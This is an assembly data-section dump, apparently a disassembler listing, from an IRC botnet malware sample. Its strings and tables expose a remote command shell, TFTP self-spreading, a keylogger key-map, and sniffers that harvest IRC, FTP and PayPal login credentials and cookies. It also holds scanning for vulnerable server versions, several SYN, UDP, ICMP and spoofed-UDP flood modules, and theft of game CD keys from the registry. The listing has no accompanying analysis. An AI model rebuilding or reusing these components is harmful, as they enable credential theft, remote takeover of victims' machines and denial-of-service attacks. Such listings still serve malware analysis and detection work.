db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 4
unk_436F78 db 2Dh ; - ; DATA XREF: sub_4110CE+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
unk_436FBC db 2Dh ; - ; DATA XREF: sub_4110CE+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_436FE8 db 2Dh ; - ; DATA XREF: sub_411355+E2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 10h
unk_437020 db 2Dh ; - ; DATA XREF: sub_411355+59o
; sub_411355+8Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_437068 db 2Dh ; - ; DATA XREF: sub_4114AA+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_437090 db 2Dh ; - ; DATA XREF: sub_4114AA+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 10h
unk_4370D0 db 2Dh ; - ; DATA XREF: sub_4114AA+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_437110 db 2Dh ; - ; DATA XREF: sub_4115A3+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4115A3+8Co
align 10h
unk_437150 db 2Dh ; - ; DATA XREF: sub_41167C+8Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
dword_43718C dd 234032Dh, 6B636F73h, 3023473haFailedToSta_41 db '- Failed to start server on Port %d.',0
align 10h
dword_4371C0 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0
align 10h
dword_437200 dd 234032Dh, 6B636F73h, 3023473haClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 8
dword_437248 dd 234032Dh, 6B636F73h, 3023473haErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dword_43728C dd 234032Dh, 6B636F73h, 3023473haErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dword_4372CC dd 234032Dh, 6B636F73h, 3023473haAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dword_43730C dd 4000500h, 7868746Bh, 0aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411DF4+3BEo
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411DF4+2CDo
align 4
dw 8
unicode 0, <>,0
aB_0: ; DATA XREF: sub_41234A:loc_41242Do
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_437A8C dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_437AC4 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_41226B+86o
align 4
asc_437AF4: ; DATA XREF: sub_41226B+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_41234A+21Co
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_41234A+1D9o
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_41234A+8Fo
align 10h
off_437B40 dd offset dword_4383B8 ; DATA XREF: sub_41261F+2B5r
dd offset off_4383B4
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
dword_437B50 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_437B64 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .packed:00437B4Co
align 10h
aFtp db 'FTP',0 ; DATA XREF: .packed:00437B48o
off_4383B4 dd offset dword_434F38+311h ; DATA XREF: .packed:00437B44o
dword_4383B8 dd 544F42h dword_4383BC dd 234032Dh, 696E7370h, 3026666haRecvFailedRetu db '- recv() failed, returned %d',0
align 4
dword_4383E8 dd 234032Dh, 696E7370h, 3026666haSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
dword_43841C dd 234032Dh, 696E7370h, 3026666h, 2Dhdword_43842C dd 4E53505Bh, 5D464649h, 0dword_438438 dd 234032Dh, 696E7370h, 3026666haWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
dword_438468 dd 234032Dh, 696E7370h, 3026666haBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_438494 dd 234032Dh, 696E7370h, 3026666haSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: sub_4129A4+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_4129A4+EEo
align 4
aIdent db ':!ident',0 ; DATA XREF: sub_4129A4+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_4129A4+C8o
a_login db ':.Login',0 ; DATA XREF: sub_4129A4+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_4129A4+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_4129A4+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_4129A4+84o
a366 db '366 ',0 ; DATA XREF: sub_4129A4+73o
align 10h
a302_0 db '302 ',0 ; DATA XREF: sub_4129A4:loc_412A06o
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_4129A4+4Do
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_4129A4+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_4129A4+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_4129A4+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412ABB+62o
aOper db 'oper ',0 ; DATA XREF: sub_412ABB+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412ABB:loc_412AFBo
; sub_412B31+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412ABB+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412ABB+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_412B31+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_412B31+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_412B31:loc_412B82o
align 4
a220 db '220 ',0 ; DATA XREF: sub_412B31+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412B31+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412BB8+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412BB8+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412BB8+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412BB8:loc_412BF8o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412BB8+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412BB8+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412C3F+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412C3F:loc_412C7Fo
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412C3F+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412C3F+5o
align 4
unk_43862C db 2Dh ; - ; DATA XREF: sub_412CA4+3D6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_438664 db 2Dh ; - ; DATA XREF: sub_412CA4+36Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43869C db 2Dh ; - ; DATA XREF: sub_412CA4+337o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4386D0 db 2Dh ; - ; DATA XREF: sub_412CA4+30Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_438704 db 2Dh ; - ; DATA XREF: sub_412CA4+2DCo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_438738 db 2Dh ; - ; DATA XREF: sub_412CA4+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 4
unk_438768 db 2Dh ; - ; DATA XREF: sub_412CA4+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
unk_438794 db 2Dh ; - ; DATA XREF: sub_413081+5Bo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4387BC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413133+31Ao
dd 203A726Fh, 6425h
unk_4387D8 db 2Dh ; - ; DATA XREF: sub_4134C5+390o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 10h
unk_438820 db 2Dh ; - ; DATA XREF: sub_4134C5+326o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
unk_43886C db 2Dh ; - ; DATA XREF: sub_4134C5+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
unk_43888C db 2Dh ; - ; DATA XREF: sub_4134C5+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
unk_4388BC db 2Dh ; - ; DATA XREF: sub_4134C5+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 4
unk_4388E8 db 2Dh ; - ; DATA XREF: sub_4138B0+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
unk_438914 db 2Dh ; - ; DATA XREF: sub_4138B0+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
unk_43893C db 2Dh ; - ; DATA XREF: sub_413A3C+1C7o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 4
unk_438968 db 2Dh ; - ; DATA XREF: sub_413A3C+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 10h
dword_438990 dd 234032Dh, 73796B73h, 3026E79haDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_4389BC db 2Dh ; - ; DATA XREF: sub_413DEC+48o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
unk_4389E4 db 2Dh ; - ; DATA XREF: sub_413E88+295o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
dword_438A04 dd 234032Dh, 67726174h, 3023361haDoneWithFlood_ db '- Done with flood.',0
align 8
unk_438A28 db 2Dh ; - ; DATA XREF: sub_41444D+4E4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_438A78 db 2Dh ; - ; DATA XREF: sub_41444D+471o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_438AC8 db 2Dh ; - ; DATA XREF: sub_41444D+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
unk_438AE8 db 2Dh ; - ; DATA XREF: sub_41444D+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 10h
unk_438B20 db 2Dh ; - ; DATA XREF: sub_41444D+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
unk_438B54 db 2Dh ; - ; DATA XREF: sub_4149E9+60o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
unk_438B88 db 2Dh ; - ; DATA XREF: sub_414CD8+47o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_438BC8 db 2Dh ; - ; DATA XREF: sub_414D4E+348o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
align 8
unk_438C58 db 2Dh ; - ; DATA XREF: sub_414D4E+2F6o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
unk_438CBC db 2Dh ; - ; DATA XREF: sub_414D4E+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
unk_438CE8 db 2Dh ; - ; DATA XREF: sub_414D4E+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
align 10h
unk_438D30 db 2Dh ; - ; DATA XREF: sub_414D4E+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 10h
unk_438D80 db 2Dh ; - ; DATA XREF: sub_414D4E+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
unk_438DAC db 2Dh ; - ; DATA XREF: sub_4150A6+5Do
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0 ; DATA XREF: sub_415240+1F1o
align 10h
dword_438DE0 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_438DF4 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4157A5+60o
align 4
dword_438E2C dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415845:loc_41587Ao
dword_438E40 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415845+20o
dword_438E54 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: sub_415886+DCo
dd 6574656Ch, 0
dword_438E70 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_415886+3Fo
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4159B5+11o
aWindow db 'Window',0 ; DATA XREF: sub_415BF0+23o
; sub_415DE9+26o
align 10h
dd 80000001h
off_438EA4 dd offset aSoftwareValveC ; DATA XREF: sub_416028+Cr
; sub_416028+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_438EB0 dd 2 dup(0) dd 80000001h, 43A048h, 43A03Ch, 43A02Ch, 2 dup(0)
dd 80000001h, 43A00Ch, 43A008h, 439FF4h, 2 dup(0)
dd 80000001h, 439FD0h, 43A008h, 439FC4h, 2 dup(0)
dd 80000001h, 439FA0h, 439F98h, 439F84h, 2 dup(0)
dd 80000001h, 439F70h, 439F60h, 439F44h, 2 dup(0)
dd 80000001h, 439F00h, 43A088h, 439EECh, 2 dup(0)
dd 80000002h, 439EC0h, 439EB4h, 439E94h, 2 dup(0)
dd 80000002h, 439E60h, 43A088h, 439E48h, 2 dup(0)
dd 80000002h, 439E14h, 43A088h, 439DFCh, 2 dup(0)
dd 80000002h, 439DE4h, 43A088h, 439DCCh, 2 dup(0)
dd 80000002h, 439D90h, 43FE14h, 439D80h, 2 dup(0)
dd 80000002h, 439D48h, 43FE14h, 439D34h, 2 dup(0)
dd 80000002h, 439CE8h, 43FE14h, 439CC8h, 2 dup(0)
dd 80000002h, 439C78h, 43FE14h, 439C48h, 2 dup(0)
dd 80000002h, 439C0Ch, 43FE14h, 439BF8h, 2 dup(0)
